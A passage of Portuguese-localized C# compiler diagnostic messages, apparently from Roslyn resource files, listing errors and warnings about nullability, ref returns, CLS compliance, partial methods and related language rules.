de seu escopo de declaração + É ilegal usar o tipo que permite valor nulo '{0}?' em um padrão. Nesse caso, use o tipo subjacente '{0}'. + Um membro de interface de abstrato ou estático virtual só pode ser acessado em um parâmetro de tipo. + As duas declarações do método parcial devem usar um parâmetro params ou nenhuma delas pode usar um parâmetro params + '{0}' na declaração de interface explícita não se encontra entre os membros da interface que podem ser implementados + O tipo "{1}" em "{0}" está em conflito com o tipo importado "{3}" em "{2}". Usar o tipo definido em "{0}". + Não é permitida a aplicação explícita de 'System.Runtime.CompilerServices.NullableAttribute'. + Elementos de matriz não podem ser do tipo "{0}" + Modificadores não podem ser colocados em declarações de acessador de evento + '{0}' não implementa o membro da interface '{1}'. '{2}' não pode implementar implicitamente um membro inacessível. + Classe base "{0}" deve vir antes de quaisquer interfaces + A expressão condicional não é válida na versão de linguagem {0} porque não foi encontrado um tipo comum entre '{1}' e '{2}'. Para usar uma conversão com tipo de destino, atualize para a versão de linguagem {3} ou posterior. + Opções de conflito especificadas: Arquivo de recurso Win32; manifesto Win32 + Iteradores não podem ter parâmetros de tipo de ponteiro + CallerMemberNameAttribute não pode ser aplicado porque não há conversões padrões do tipo "{0}" para o tipo "{1}" + Não é possível retornar um membro do parâmetro '{0}' por referência, porque ele não é um parâmetro de referência ou out + (Local do símbolo relacionado ao erro anterior) + O argumento stdin '-' foi especificado, mas a entrada não foi redirecionada do fluxo de entrada padrão. + Não é possível usar a instrução yield no corpo de uma cláusula catch + A nulidade de tipos de referência no tipo de retorno não corresponde ao membro implementado implicitamente (possivelmente devido a atributos de nulidade). + Como este é um método assíncrono, a expressão de retorno deve ser do tipo "{0}" em vez de "{1}" + { ou ; esperado + A palavra-chave 'this' não é válida em uma propriedade, um método ou um inicializador de campo estático + O parâmetro tem modificador de parâmetros em lambda, mas não no tipo delegado de destino. + O membro de interface '{0}' não tem uma implementação mais específica. Nem '{1}' nem '{2}' são mais específicos. + parâmetro opcional + Caminho de pesquisa especificado inválido + Não é possível retornar 'this' por referência. + Não é possível encontrar o tipo de interoperabilidade que corresponda ao tipo de interoperabilidade inserido "{0}". Está faltando uma referência de assembly? + Este aviso ocorre se os atributos de assembly AssemblyKeyFileAttribute ou o AssemblyKeyNameAttribute encontrados na fonte estiverem em conflito com a opção de linha de comando /keyfile ou /keycontainer ou nome do arquivo-chave ou contêiner-chave especificado nas propriedades do projeto. + Este aviso indica que um atributo, como InternalsVisibleToAttribute, não foi especificado corretamente. + ponteiro + A declaração de uma variável por referência deve ter um inicializador + 'Não é possível aplicar 'MethodImplOptions.Synchronized' a um método assíncrono + Não é possível retornar um parâmetro por referência '{0}' porque ele não é um parâmetro ref + '{0}' não é um modificador de tipo de retorno de ponteiro de função válido. Os modificadores válidos são 'ref' e 'ref readonly'. + O {0} argumento não pode ser passado com o palavra-chave 'ref' na versão da {1}. Para passar argumentos 'ref' para parâmetros 'in', atualize para a versão de {2} ou superior. + Criação de objeto inválido + O parâmetro precisa ter um valor não nulo ao sair porque o parâmetro referenciado por NotNullIfNotNull não é nulo. + Os elementos definidos em um namespace não podem ser declarados explicitamente como privados, protegidos, protegidos internamente ou protegidos de forma privada + Um dos parâmetros de um operador binário deve ser o tipo recipiente ou seu parâmetro de tipo restrito a ele. + A opção /moduleassemblyname só pode ser especificada ao criar um tipo de destino de 'module' + A nulidade de tipos de referência no tipo de retorno de '{0}' não corresponde ao delegado de destino '{1}' (possivelmente devido a atributos de nulidade). + O parâmetro de tipo "{0}" herda as restrições conflitantes "{1}" e "{2}" + Identificador de recurso "{0}" já foi usado neste assembly + Valor do parâmetro padrão "{0}" deve ser uma constante de tempo de compilação + Programa não contém um método "Main" estático adequado para um ponto de entrada + Não é possível retornar o parâmetro de construtor primário "{0}" por referência. + O membro do registro '{0}' não pode ser estático. + Este erro ocorre quando um tipo predefinido do sistema, como System.Int32, encontra-se em dois assemblies. Uma forma que pode fazer isso acontecer é referenciar mscorlib ou System.Runtime.dll de dois lugares diferentes, por exemplo, tentando executar duas versões de .NET Framework lado a lado. + Não é possível retornar por referência um membro de '{0}' porque ele foi inicializado para um valor que não pode ser retornado por referência + O membro requerido '{0}' não pode ser ocultado por '{1}'. + Métodos com argumentos de variável não estão em conformidade com CLS + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal para criar tokens literais numéricos. + As duas declarações de métodos parciais devem ser estáticas ou nenhuma delas deve ser desse tipo + "{0}" não é um tipo de referência como necessário pela instrução lock + '{0}' não implementa o padrão '{1}'. '{2}' não é um método de extensão ou de instância pública. + A instrução foreach assíncrona não pode operar em variáveis do tipo '{0}' porque implementa várias instanciações de '{1}'; tente transmitir para uma instanciação de interface específica + O campo ref deve ser atribuído como referência antes do uso. + Um campo somente leitura estático não pode ser retornado por referência gravável + A instrução foreach assíncrona não pode operar em variáveis do tipo '{0}' porque '{0}' não contém uma definição de extensão ou de instância pública para '{1}'. Você quis dizer 'foreach' em vez de 'await foreach'? + Um operador de conversão 'implicit' definido pelo usuário não pode ser declarado verificado + Interfaces em conformidade com CLS devem ter somente membros em conformidade com CLS + Módulos adicionados devem ser marcados com o atributo CLSCompliant para corresponder ao assembly + '{0}': um parâmetro, variável de local ou função de local não pode ter o mesmo nome que um parâmetro de tipo de método + Tipo de retorno não tem conformidade com CLS + Erro ao abrir o arquivo de ícones {0} -- {1} + '{0}' não pode implementar o membro de interface '{1}' no tipo '{2}' porque tem um parâmetro __arglist + O assembly carregado referencia o .NET Framework, mas não há suporte para isso. + Essa combinação de argumentos para '{0}' pode expor variáveis referenciadas pelo parâmetro '{1}' fora de seu escopo de declaração + Não é possível inferir o tipo da variável de desconstrução digitada implicitamente '{0}'. + O membro não pode ser usado nesse atributo. + As restrições para métodos de substituição e de implementação explícita da interface são herdadas do método base, portanto, elas não podem ser especificadas diretamente, com exceção de uma restrição 'class' ou 'struct'. + Nome de arquivo inválido especificado para diretiva de pré-processamento + O parâmetro do construtor primário struct "{0}" do tipo "{1}" causa um ciclo no layout do struct + '{0}' é definido no assembly '{1}'. + Um caractere '{0}' deve ser de escape (ao duplicar) em uma cadeia de caracteres interpolada. + Convertendo grupo de métodos '{0}' em tipo não delegado '{1}'. Você pretendia invocar o método? + método de extensão + A expressão não tem um nome. + O interceptador deve ter um parâmetro 'this' correspondente '{0}' no '{1}'. + Erro inesperado ao gravar informações de depuração -- "{0}" + Compilação (C#): + Tipo tem conformidade com CLS + Não é possível converter em tipo estático "{0}" + O tipo não tem nenhum construtor acessível que use somente tipos em conformidade com CLS + Um membro é retornado por referência, mas foi inicializado com um valor que não pode ser retornado por referência + "{0}" não pode ser marcado como em conformidade com CLS porque é membro do tipo não tem conformidade com CLS "{1}" + A expressão de filtro é uma constante ‘false’, considere remover a cláusula catch + tipos anônimos + A constante "{0}" não pode ser marcada como static + A propriedade ou o indexador "{0}" não pode ser usado neste contexto porque não possui o acessador get + Propriedades da instância autoimplementadas em structs somente leitura devem ser somente leitura. + Um tipo de retorno semelhante à tarefa genérica era esperado, mas o tipo '{0}' encontrado no atributo 'AsyncMethodBuilder' não era adequado. Ele deve ser um tipo genérico não associado de arity um e seu tipo recipiente (se houver) deve ser não genérico. + As propriedades da instância nas interfaces não podem ter inicializadores. + A versão de linguagem '{0}' especificada não pode ter zeros à esquerda + O inicializador de módulo não pode ser atribuído com 'UnmanagedCallersOnly'. + Erro ao abrir arquivo de resposta "{0}" + O melhor método Add sobrecarregado para o elemento do inicializador de coleta está obsoleto + A nulidade de tipos de referência no tipo de parâmetro não corresponde ao delegado de destino (possivelmente devido a atributos de nulidade). + ToString selado no registro + Acessibilidade inconsistente: tipo de retorno "{1}" é menos acessível do que o operador "{0}" + Alias externo não usado. + Referência a uma variável '{0}' digitada implicitamente não é permitida na mesma lista de argumentos. + Modificador parcial ausente na declaração do tipo "{0}"; existe outra declaração parcial deste tipo + Não é possível converter a expressão em '{0}' porque ela não é uma variável atribuível + "{0}": não pode substituir porque "{1}" não tem um acessador set substituível + Padrão ausente + O alias extern "{0}" não foi especificado em uma opção /reference + "{0}" não é um local de atributo reconhecido. Locais de atributo válidso para essa declaração são '{1}'. Todos os atributos neste bloco serão ignorados. + __arglist não pode ter um argumento de tipo nulo + Parâmetro {0} deve ser declarado com a palavra-chave "{1}" + Interface "{0}" tem uma interface de origem inválida que é necessária para incorporar o evento "{1}". + A melhor correspondência de método sobrecarregado "{0}" do elemento de inicializador de coleção não pode ser usada. Os métodos "Add" do inicializador de coleção não podem ter os parâmetros ref ou out. + O tipo destina-se somente para fins de avaliação e está sujeito a alterações ou remoções em atualizações futuras. + O operador '&' não deve ser usado em parâmetros ou variáveis locais em métodos assíncronos. + "{0}": não encontrado nenhum método adequado para substituição + <lista de caminho> + Não é possível modificar membros de "{0}" porque ele é um "{1}" + "{0}": somente membros em conformidade com CLS podem ser abstratos + Diretiva de uso desnecessária + Não é possível vincular arquivos de recursos ao criar um módulo + <namespace global> + Dependência de restrição circular envolvendo "{0}" e "{1}" + "{0}" define o operador = = ou operador !=, mas não substitui Object.GetHashCode() + Versões de linguagens com suporte: + O nome '_' refere-se à constante, não ao padrão de descarte. Use 'var _' para descartar o valor ou '@_' para referir-se a uma constante por esse nome. + Um dos parâmetros de um operador binário deve ser do tipo recipiente + "{0}" não implementa "{1}" + Não é possível acessar membro protegido "{0}" através de um qualificador do tipo "{1}"; o qualificador deve ser do tipo "{2}" (ou derivado dele) + Literais de cadeia de caracteres bruta não são permitidas em diretivas de pré-processador. + Membro "{0}.{1}" necessário ao compilador ausente + Atributos assembly e module não são permitidos neste contexto + Comentário de linha única ou fim da linha esperado + O membro não oculta um membro herdado; não é necessária uma nova palavra-chave + O tipo de construtor CollectionBuilderAttribute deve ser uma classe ou struct não genérico. + Estruturas sem construtores explícitos não podem conter membros com inicializadores. + "{0}": classes estáticas não podem ser utilizadas como restrições + O tipo de retorno de um método assíncrono precisa ser nulo, Task, Task<T>, um tipo semelhante à tarefa, IAsyncEnumerable<T> ou IAsyncEnumerator<T> + O comentário XML tem atributo cref "{0}" que não pode ser resolvido + O nome do tipo "{0}" não pode ser encontrado no namespace "{1}". Este tipo foi encaminhado para o assembly "{2}" Considere adicionar uma referência a esse assembly. + O método '{0}' especifica uma restrição de 'class' para o parâmetro de tipo '{1}', mas o parâmetro de tipo correspondente '{2}' do método substituído ou implementado explicitamente '{3}' não é um tipo de referência. + Foreach não pode operar em um "{0}". Você pretendia invocar o "{0}"? + Uma referência a um campo volátil não será tratada como volátil + Acessar um membro em um campo de uma classe de marshaling por referência pode gerar uma exceção de tempo de execução + O campo não pode ter tipo void + O nome do possível método '{0}' não pode ser interceptado porque não está sendo invocado. + Tipo base não tem conformidade com CLS + Os membros do parâmetro de construtor primário "{0}" de um tipo somente leitura não podem ser modificados (exceto no setter somente inicializador init do tipo ou em um inicializador de variável) + Métodos de extensão devem ser definidos em uma classe estática de nível superior; {0} é uma classe aninhada + A linguagem não dá suporte à convenção de chamada '{0}'. + Módulo "{0}" já está definido neste assembly. Cada módulo deve ter um filename exclusivo. + Atributos não são válidos neste contexto. + buffers de tamanho fixo + Ponto-e-vírgula após bloco de acessador ou método não é válido + Membros de {0} '{1}' não podem ser usados como um valor de referência ou out porque ela é uma variável somente leitura + O operador definido pelo usuário '{0}' não pode ser declarado verificado + Incorporar o tipo de interoperabilidade "{0}" do assembly "{1}" causa um conflito de nome no assembly atual. Considere definir a propriedade "Incorporar Tipos de Interoperabilidade" como falsa. + Métodos com argumentos de variável não estão em conformidade com CLS + "{0}": modificadores de acessibilidade nos assessores podem somente ser usados se a propriedade ou o indexador tiver um acessador get e um accessador set + Não é possível definir uma classe ou membro que utiliza "dynamic" porque o tipo necessário pelo compilador "{0}" não pode ser encontrado. + O modificador 'abstract' não é válido em campos. Em vez disso, tente usar uma propriedade. + Um construtor de cópia '{0}' precisa ser público ou protegido porque o registro não está selado. + opção em tipo booleano + O resultado da expressão sempre é "null" do tipo "{0}" + A anulabilidade de tipos de referência em tipo de parâmetro '{0}' não corresponde à declaração de método parcial. + O atributo CLSCompliant não tem sentido quando aplicado a tipos de retorno + Não é possível converter {0} para o tipo delegate pretendido porque alguns dos tipos de retorno no bloco não são implicitamente conversíveis para o tipo de retorno delegate + Comentário XML ausente para tipo publicamente visível ou membro "{0}" + Membro "{0}" implementa membro de interface "{1}" no tipo "{2}". Há várias correspondências para o membro de interface em tempo de execução. Ele é dependente de implementação cujo método será chamado. + O compilador emite esse aviso quando substitui um erro com um aviso. Para obter informações sobre o problema, procure o código de erro mencionado. + variável using + A restrição new() deve ser a última especificada + '{0}' já está listado na lista de interface no tipo '{2}' com nomes de elemento de tupla diferentes, como '{1}'. + O argumento do tipo '{0}' não pode ser usado como uma saída do tipo '{1}' do parâmetro '{2}' em '{3}' devido a diferenças na nulidade dos tipos de referência. + campos ref + Campo "{0}" nunca é atribuído e sempre terá seu valor padrão {1} + Referência do assembly Friend "{0}" é inválida. Assemblies assinados com nome forte devem especificar uma chave pública em suas declarações InternalsVisibleTo. + O tipo não tem conformidade com CLS porque a interface base não tem conformidade com CLS + Tipo "{1}" já define um membro chamado "{0}" com os mesmos tipos de parâmetro + <!-- Badly formed XML comment ignored for member "{0}" --> + O struct de matriz embutido não deve ter layout explícito. + Não é possível converter bloco de métodos anônimos sem uma lista de parâmetros de tipo delegate "{0}" porque ele tem um ou mais parâmetros out + A nulidade do tipo de parâmetro '{0}' não corresponde ao membro substituído (possivelmente devido a atributos de nulidade). + Atributo "{0}" é somente válido em métodos ou classes de atributo + O comprimento da matriz embutida deve ser maior que 0. + A palavra-chave 'void' não pode ser usada neste contexto + A expressão switch não manipula algumas entradas nulas (não é geral). Por exemplo, o padrão '{0}' não é coberto. No entanto, um padrão com uma cláusula 'when' pode corresponder a esse valor com êxito. + O recurso de linguagem 'Matrizes embutidas' não tem suporte para tipos de matriz embutidos com o campo de elemento que é um campo 'ref' ou tem um tipo que não é válido como um argumento de tipo. + O namespace "{1}" já contém uma definição para "{0}" + itens: devem ser não vazios + funções locais externas + Identificador esperado ou literal numérico. + Comentário XML em "{1}" tem uma tag de paramref para "{0}", mas não há parâmetro por esse nome + Operador unário que pode ser sobrecarregado é esperado + Isso retorna por referência um membro do parâmetro '{0}' que não é um parâmetro ref ou out + Não é possível fazer pesquisa de membro não virtual em '{0}' porque ele é um parâmetro de tipo + Um subpadrão de propriedade requer que uma referência à propriedade ou ao campo seja correspondida, por exemplo, '{{ Name: {0} }}' + Nome do módulo "{0}" armazenado em "{1}" deve coincidir com seu filename. + Não é possível converter um literal nulo em um tipo de referência não anulável. + Usar '{0}' como um valor ref ou out ou obter seu endereço pode gerar uma exceção de runtime porque ele é um campo de uma classe marshaling por referência + A cadeia de caracteres de versão especificada '{0}' não está em conformidade com o formato recomendado - major.minor.build.revision + Isso retorna por referência um membro do parâmetro que não é um parâmetro ref ou out + "{0}": elementos de matriz não podem ser do tipo static + construtor + A SyntaxTree não faz parte da compilação, portanto, não pode ser removida + Tipo de expressão condicional não pode ser determinado porque não há conversão implícita entre "{0}" e "{1}" + Não é possível atribuir a "{0}" porque ele é um "{1}" + O evento "{0}" pode apenas aparecer à esquerda de + = ou -= (exceto quando usado de dentro do tipo "{1}") + A propriedade ou o indexador "{0}" não pode ser usado neste contexto porque o acessador set é inacessível + O modificador 'scoped' do parâmetro '{0}' não corresponde ao parâmetro de '{1}'. + {0} não é uma expressão de conversão C# válida + O argumento nomeado "{0}" especifica um parâmetro para o qual já foi atribuído um argumento posicional + Não é possível converter o grupo de métodos "{0}" no tipo "{1}" não delegado. Você pretendia invocar o método? + Ignore /win32manifest do módulo porque ele só se aplica aos assemblies + foreach requer que o tipo de retorno '{0}' de '{1}' tenha um método 'MoveNext' público adequado e a propriedade 'Current' pública + (Local do símbolo relacionado ao aviso anterior) + Inicializadores de matriz só podem ser usados em um inicializador de campo ou variável. Tente usar uma expressão new. + <nulo> + <texto> + restrições de parâmetro de tipo padrão + Incompatibilidade de referência entre '{0}' e o delegado '{1}' + "{0}": não é possível substituir porque "{1}" não é uma função + variável local digitada implicitamente + O membro do registro '{0}' precisa ser uma propriedade de instância legível ou campo do tipo '{1}' para corresponder ao parâmetro posicional '{2}'. + '{0}' não pode implementar o membro de interface '{1}' no tipo '{2}' porque o runtime de destino não dá suporte à implementação de interface padrão. + O struct de matriz embutido deve declarar apenas um campo de instância. + O tipo predefinido '{0}' deve ser um struct. + Um acesso à matriz não pode ter um especificador de argumento nomeado + matriz digitada implicitamente + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier ou Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier para criar tokens de identificador. + A palavra-chave “delegate” não pode ser usada como uma restrição. Você quis dizer “System.Delegate”? + '{0}': o tipo usado em uma instrução using deve ser implicitamente conversível em 'System.IDisposable'. + Comparação de referência não intencional possível; para obter uma comparação de valor, converta o lado esquerdo para o tipo "{0}" + Especificador de classificação inválido: era esperado "," ou "]" + O acessador de propriedade já está definido + Não é possível inicializar uma variável de tipo implícito com um inicializador de matriz + Newline em constante + 'Warnings', 'annotations' ou fim de diretiva esperado + Não é possível criar uma instância do analisador + O corpo de "{0}" não pode ser um bloco de iteradores porque "{1}" não é um tipo de interface de iterador + A expressão que está sendo atribuída a "{0}" deve ser constante + O tamanho de matriz não pode ser especificado em uma declaração de variável (tente inicializar com uma expressão 'new') + A expressão de filtro é uma constante ‘false’. + "{0}": evento abstract não pode ter inicializador + Vários assemblies com identidade equivalente foram importados: "{0}" e "{1}". Remova uma das referências duplicadas. + '{0}': o tipo usado em uma instrução using deve ser implicitamente conversível em 'System.IDisposable'. Você quis dizer 'await using' em vez de 'using'? + O tipo "{1}" em "{0}" está em conflito com o namespace "{3}" em "{2}" + A entrada sempre corresponde ao padrão fornecido. + O '{0}' é capturado no estado do tipo delimitador e seu valor também é usado para inicializar um campo, propriedade ou evento. + O CallerLineNumberAttribute não tem efeito porque ele se aplica a um membro que é usado em contextos que não aceitam argumentos opcionais + Tipo esperado + A posição deve ser dentro do intervalo da árvore de sintaxe. + inicializadores de módulo + Uma árvore de expressões não pode conter um inicializador de matriz multidimensional + O runtime de destino não dá suporte a convenções de chamada padrão extensíveis ou de ambiente de runtime. + InterpolatedStringHandlerArgument não tem efeito quando aplicado a parâmetros lambda e será ignorado no local de chamada. + As interfaces não podem conter campos de instância + Não é possível retornar '{0}' por referência porque ele foi inicializado para um valor que não pode ser retornado por referência + Uma diretiva de uso global deve preceder todas as diretivas de uso não global. + Uso inesperado de um nome com alias + Uma matriz de parâmetro não pode ser usada com o modificador 'this' em um método de extensão + A chamada para o método "{0}" precisa ser vinculada dinamicamente, mas não pode ser porque ela é parte de uma expressão de acesso básica. Considere converter argumentos dinâmicos ou eliminar o acesso básico. + Uma propriedade auto-implementada deve ser totalmente atribuída antes que o controle seja devolvido ao chamador. Considere atualizar a versão de linguagem para auto-padrão da propriedade. + '{0}': um tipo não pode ser tanto estático quanto selado + As declarações parciais de '{0}' precisam ser todas classes, todas classes de registros, structs, todos registros de structs ou todas as interfaces + extensão GetEnumerator + O nome do tipo '{0}' contém apenas caracteres ascii em caixa baixa. Esses nomes podem ficar reservados para o idioma. + Campo em conformidade com CLS "{0}" não pode ser volátil + Esta versão de '{0}' não pode ser usada com expressões de coleção. + Palavra-chave contextual esperada 'equals' + 'A sintaxe de 'id#' não tem mais suporte. Use '$id'. + O número de linha e caractere fornecido não se refere ao início do token '{0}'. Você quis usar a linha '{1}' e o caractere '{2}'? + O ponto de entrada do programa é o código global. Ignorando o ponto de entrada + A nulidade de tipos de referência no tipo de parâmetro '{0}' de '{1}' não corresponde ao membro implicitamente implementado '{2}'. + O campo nunca é usado + Objeto "{0}" pode ser descartado mais de uma vez. + Uma árvore de expressão não pode conter um operador == ou != de tupla + '{0}' não implementa o membro de inferface '{1}'. O '{2}' não pode implementar '{1}' porque ele não tem retorno correspondente por referência. + '{0}' não pode ser usado como um modificador em um parâmetro de ponteiro de função. + Buffers de tamanho fixo só podem ser acessados por meio de locais ou campos + Comentário XML em "{1}" tem uma tag de typeparamref para "{0}", mas não há parâmetro de tipo com esse nome + Um dos parâmetros de um operador de igualdade ou desigualdade declarado na interface '{0}' deve ser um parâmetro de tipo em '{0}' restrito a '{0}' + literais de cadeia de caracteres bruta + expressão condicional com tipo de destino + substituição do construtor de método assíncrono + Em atributos cref, tipos aninhados de tipos genéricos devem ser qualificados + Uma árvore de expressão não pode conter uma especificação de argumento nomeado + Tipo de destino inválido para /target: deve especificar "exe", "winexe", "library" ou "module" + Um campo somente leitura estático não pode ser atribuído (exceto em um construtor estático ou inicializador de variável) + O membro "{0}" não pode ser acessado com uma referência de instância; qualifique-o com um nome de tipo + Atribuição possivelmente incorreta ao local que é o argumento para uma instrução using ou lock + Os membros requeridos '{0}' não devem ser atribuídos com 'ObsoleteAttribute', a menos que o tipo que o contém seja obsoleto ou que todos os construtores estejam obsoletos. + Uma função anônima estática não pode conter uma referência a '{0}'. + O controle não pode sair do corpo de uma cláusula finally + O parâmetro "{0}" é capturado no estado do tipo delimitador e seu valor também é passado para o construtor base. O valor também pode ser capturado pela classe base. + Nó de sintaxe não está dentro da árvore de sintaxe + Retornos por referência podem ser usados somente em métodos que são retornados por referência + Possível retorno de referência nula. + O tipo '{3}' não pode ser usado como parâmetro de tipo '{2}' no tipo ou método genérico '{0}'. A anulabilidade do argumento de tipo '{3}' não corresponde ao tipo de restrição '{1}'. + A expressão fornecida sempre corresponde ao padrão fornecido. + O tipo "{0}" não pode ser declarado const + Não comparar valores de ponteiro de função + Os métodos assíncronos não podem ter parâmetros ref, in ou out + O controle não pode ficar fora do switch do rótulo de caso final ('{0}') + A diretiva using para "{0}" apareceu anteriormente neste namespace + O idioma não dá suporte à propriedade, ao indexador ou ao evento "{0}"; tente chamar diretamente o método de acessador "{1}" + O idioma não dá suporte à propriedade, ao indexador ou ao evento "{0}"; tente chamar diretamente o método de acessador "{1}" ou "{2}" + "{0}": conversões definidas pelo usuário para ou de uma interface não são permitidas + Não use refout ao usar refonly. + Não é possível usar os parâmetro ref, out ou in '{0}' dentro de um método anônimo, de uma expressão lambda de uma expressão de consulta ou de uma função local + O resultado da expressão é sempre 'null' + Falha ao emitir o módulo '{0}': {1} + expressão throw + Método "{0}" não pode implementar o acessador de interface "{1}" para o tipo "{2}". Use uma implementação de interface explícita. + atributos de função local + Alias "{0}" está em conflito com {1} definição + "{0}" não contém uma definição para "{1}" + Constante de integral muito grande + Não foi possível encontrar o arquivo. + Uma declaração não é permitida neste contexto. + Um ponto de entrada que retorna void ou int não pode ser assíncrono + O comentário XML tem uma tag typeparamref, mas não há nenhum parâmetro de tipo com esse nome + O nome do local é muito longo para o PDB + O atributo Guid deve ser especificado com o atributo ComImport + A anulabilidade de tipos de referência em tipo de parâmetro '{0}' não corresponde ao membro substituído. + Não é possível usar a instrução yield no corpo de um bloco try com uma cláusula catch + A implementação de interface explícita corresponde a mais de um membro de interface + Não é possível especificar /main se criar um módulo ou uma biblioteca + Não é possível usar uma coleção do tipo dinâmico em uma foreach assíncrona + A anulabilidade de tipos de referência em tipo de retorno não corresponde ao membro implicitamente implementado. + O tipo é apenas para fins de avaliação e está sujeito a alterações ou remoção em atualizações futuras. Suprima este diagnóstico para continuar. + função anônima estática + O {0} argumento deve ser passado com 'ref' ou 'in' palavra-chave + Uma expressão do tipo "{0}" não é permitida em um subsequente da cláusula em uma expressão de consulta com o tipo de origem "{1}". Inferência de tipos falhou na chamada para "{2}". + operador de propagação nula + Assemblies "{0}" e "{1}" referem-se aos mesmos metadados, mas somente um é uma referência vinculada (especificada usando a opção /link); considere remover uma das referências. + retornos de covariante + covariant + Lista de argumentos inesperados. + Os membros chamados 'Clone' não são permitidos nos registros. + Campos de buffer de tamanho fixo só podem ser membros de structs + Uma árvore de expressão não pode conter uma conversão de tupla. + A linha não começa com o mesmo espaço em branco que a linha de fechamento da literal de cadeia de caracteres bruta. + membros abstratos estáticos em interfaces + Não é possível ler o arquivo de configuração "{0}" -- "{1}" + A invocação do Indexador de Índice implícito não pode nomear o argumento. + As expressões lambda assíncronas não podem ser convertidas em árvores de expressões + O parâmetro de tipo "{1}" tem a restrição "struct" e, por isso, "{1}" não pode ser usado como uma restrição de "{0}" + membro da instância em 'nameof' + O tipo pré-definido "{0}" não foi definido ou importado + A operação pode estourar '{0}' em tempo de execução (use a sintaxe 'não verificada' para substituir) + Um valor nulo possível não pode ser usado para um tipo marcado com [NotNull] ou [DisallowNull] + O acessador 'init' não é válido em membros estáticos + Argumento de tipo não pode ser nulo + Uma declaração de alias externa deve preceder todos os outros elementos definidos no namespace + Opção inválida '{0}' para /platform; precisa ser anycpu, x86, Itanium, arm, arm64 ou x64 + O argumento para o atributo "{0}" atributo deve ser um identificador válido + variáveis de loop ref for + O CallerMemberNameAttribute aplicado ao parâmetro "{0}" não terá efeito. Ele é substituído pelo CallerFilePathAttribute. + Os elementos de um tipo de matriz embutida podem ser acessados somente com um único argumento implicitamente conversível em 'int', 'System.Index' ou 'System.Range'. + Acessibilidade inconsistente: tipo de retorno "{1}" é menos acessível do que "{0}" delegado + Atributo de segurança "{0}" não pode ser aplicado a um método Assíncrono. + Os atributos assembly e module devem preceder todos os outros elementos definidos em um arquivo, exceto as cláusulas using e as declarações de alias externas + O tipo não pode ser usado neste contexto porque ele não pode ser representado em metadados. + Foi criada uma referência ao assembly de interoperabilidade inserido devido a uma referência de assembly indireta + O membro do struct retorna 'this' ou outros membros da instância por referência + Tipo não gerenciado "{0}" é válido somente para campos. + Não foi possível determinar o diretório de saída + Literais de cadeia de caracteres bruta de várias linhas devem conter pelo menos uma linha de conteúdo. + O segundo operando de um operador "is" ou "as" não pode ser do tipo estático "{0}" + Operador unário sobrecarregado "{0}" obtém um parâmetro + O tipo não seguro "{0}" não pode ser usado na criação do objeto + Os números de linha e caractere fornecidos no InterceptsLocationAttribute devem ser positivos. + É necessário colocar a expressão que rege a switch entre parênteses. + Uso do parâmetro out não atribuído "{0}" + contravariant + O parâmetro "{0}" não está lido. + O atributo Conditional não é válido em membros de interface + Não é possível modificar o resultado de uma conversão unboxing + ref e out não são válidos neste contexto + Tag de fim "{0}" não corresponde à tag de início "{1}". + É possível que o lado direito de uma atribuição de instrução fixed não seja uma expressão de conversão + métodos de extensão de referência + Os membros do campo somente leitura "{0}" não podem ser modificados (exceto em um construtor ou inicializador de variável) + Presumindo que a referência de assembly "{0}" usada por "{1}" corresponde a identidade "{2}" de "{3}", talvez seja necessário fornecer a diretiva de runtime + Os tipos de tupla usados como operandos de um operador == ou != precisam ter cardinalidades correspondentes. No entanto, este operador tem tipos de tupla de cardinalidade {0} na esquerda e {1} na direita. + Valor SecurityAction "{0}" é inválido para atributos de segurança aplicados a um assembly + '{0}' não substitui o método esperado de 'object'. + A variável de intervalo "{0}" está em conflito com uma declaração anterior de "{0}" + extensão GetAsyncEnumerator + O tipo '{2}' deve ser um tipo de valor não anulável, juntamente com todos os campos em qualquer nível de aninhamento, para ser usado como um parâmetro '{1}' no tipo genérico ou no método '{0}' + O nome do tipo ou do namespace "{0}" não pode ser encontrado (está faltando uma diretiva using ou uma referência de assembly?) + Palavra-chave contextual esperada 'on' + Palavra-chave contextual esperada 'by' + O tipo "{3}" não pode ser usado como parâmetro de tipo "{2}" no tipo ou método genérico "{0}". Não há conversão boxing de "{3}" em "{1}". + O método de extensão deve ser estático + Tipo de retorno inválido no atributo cref do comentário XML + "{0}" é obsoleto: "{1}" + O assembly {0} não contém quaisquer analisadores. + O corpo de um método iterador assíncrono precisa conter uma instrução 'yield'. + covariantly + Foi criada uma referência ao assembly de interoperabilidade inserido "{0}" devido a uma referência indireta ao assembly criado pelo assembly "{1}". Considere alterar a propriedade "Inseir Tipos de Interoperabilidade" em qualquer assembly. + O arquivo de origem excedeu o limite de 16.707.565 linhas representáveis no PDB; as informações de depuração estarão incorretas + coleção + Não use "System.Runtime.CompilerServices.DynamicAttribute". Em vez disso, use a palavra-chave "dynamic". + "{0}" não pode ser marcado como em comformidade com CLS porque o assembly não tem um atributo CLSCompliant + Não é possível atribuir '{1}' a '{0}' porque '{1}' só pode escapar do método atual por meio de uma instrução return. + A versão de linguagem fornecida não tem suporte ou é inválida: '{0}'. + Expressão ou declaração de instrução esperada. + O modificador 'scoped' do parâmetro '{0}' não corresponde à declaração de método parcial. + A propriedade ou o indexador "{0}" não pode ser atribuído, pois é somente leitura + O tipo de retorno de um método, de um representante ou de um ponteiro de função não pode ser '{0}' + Identificador ou um acesso de membro simples esperado. + Isso retorna o local '{0}' por referência, mas não é um local de ref + Referência do analisador especificada várias vezes + Declarações de método parcial têm nulidade inconsistente em restrições para o parâmetro de tipo + Acessibilidade inconsistente: tipo de campo "{1}" é menos acessível do que o campo "{0}" + A opção /pdb requer que a opção /debug também seja usada + 'A expressão 'is' determinada sempre é do tipo fornecido + Uma diretiva de uso global não pode ser usada em uma declaração de namespace. + #pragma + O tipo '{0}' precisa ser público para ser usado como uma convenção de chamada. + O membro requerido '{0}' deve ser ajustável. + Cada módulo ou recurso vinculado devem ter um nome de arquivo exclusivo. Nome de arquivo "{0}" é especificado mais de uma vez neste assembly + Chame System.IDisposable.Dispose() na instância alocada antes que todas as referências a ele estejam fora do escopo + Não é possível especificar modificadores 'readonly' em ambos os acessadores de propriedade ou de indexador '{0}'. Nesse caso, coloque um modificador 'readonly' na própria propriedade. + acessador obsoleto na propriedade + O método do manipulador de cadeias de caracteres interpolado '{0}' tem tipo de retorno inconsistente. Esperava-se retornar '{1} '. + Uma árvore de expressão da expressão lambda não pode conter uma chamada COM com a omissão de ref nos argumentos + O parâmetro params não pode ser declarado como {0} + Um tipo e um identificador são necessários em uma instrução foreach + Argumento 